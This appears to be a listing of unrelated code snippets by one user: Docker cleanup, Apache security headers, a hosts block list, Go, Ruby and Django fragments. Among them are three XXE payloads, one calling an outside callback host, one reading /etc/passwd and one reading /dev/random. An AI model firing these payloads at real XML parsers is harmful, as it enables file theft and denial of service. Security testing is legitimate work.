omarkurt

#!/bin/bash
# kill current docker
docker kill $(docker ps -q)
# Delete all containers
docker rm $(docker ps -a -q)
# Delete all images -f
docker rmi -f $(docker images -q)
# For exited 
docker rm -v $(docker ps -aq -f status=exited)

omarkurt

package main

import (
	"fmt"
	"net/http"

	"github.com/gin-gonic/gin"
	"github.com/s4l1h/acl"
)

omarkurt

require 'pipeline/tasks/base_task'
require 'pipeline/util'
require 'nokogiri'

class Pipeline::AltDNSScanner < Pipeline::BaseTask
        Pipeline::Tasks.add self
        include Pipeline::Util
        def initialize(trigger, tracker)
                super(trigger, tracker)
                @name = 'AltDNSScanner'

omarkurt

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "http://jligddrrgibmgk0khyeweb88up6cjxqebzvaez98zxm.r87.me/r/">]><ns>&lfi;</ns>

omarkurt

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE description [ <!ELEMENT description ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>Test</title>
    <link>za</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>

omarkurt

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

omarkurt

    #Security
    Header set X-Frame-Options: sameorigin
    Header set X-XSS-Protection: "1; mode=block"
    Header set X-WebKit-CSP: "default-src 'self'"
    Header set X-Content-Type-Options: nosniff
    Header set X-Permitted-Cross-Domain-Policies: "master-only"
    Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"
    Header unset ETag

omarkurt

#<Phorm-sites>
127.0.0.1 a.oix.com
127.0.0.1 a.oix.net
127.0.0.1 a.openinternetexchange.com
127.0.0.1 a.phormlabs.com
127.0.0.1 a.webwise.com
127.0.0.1 a.webwise.net
127.0.0.1 b.oix.net
127.0.0.1 b.webwise.net
127.0.0.1 br.phorm.com

omarkurt

find /var/log -type f -regex ".*\.gz$"
find /var/log -type f -regex ".*\.[0-9]$"

omarkurt

import os

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "webpy.settings")

# This application object is used by any WSGI server configured to use this
# file. This includes Django's development server, if the WSGI_APPLICATION
# setting points here.
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()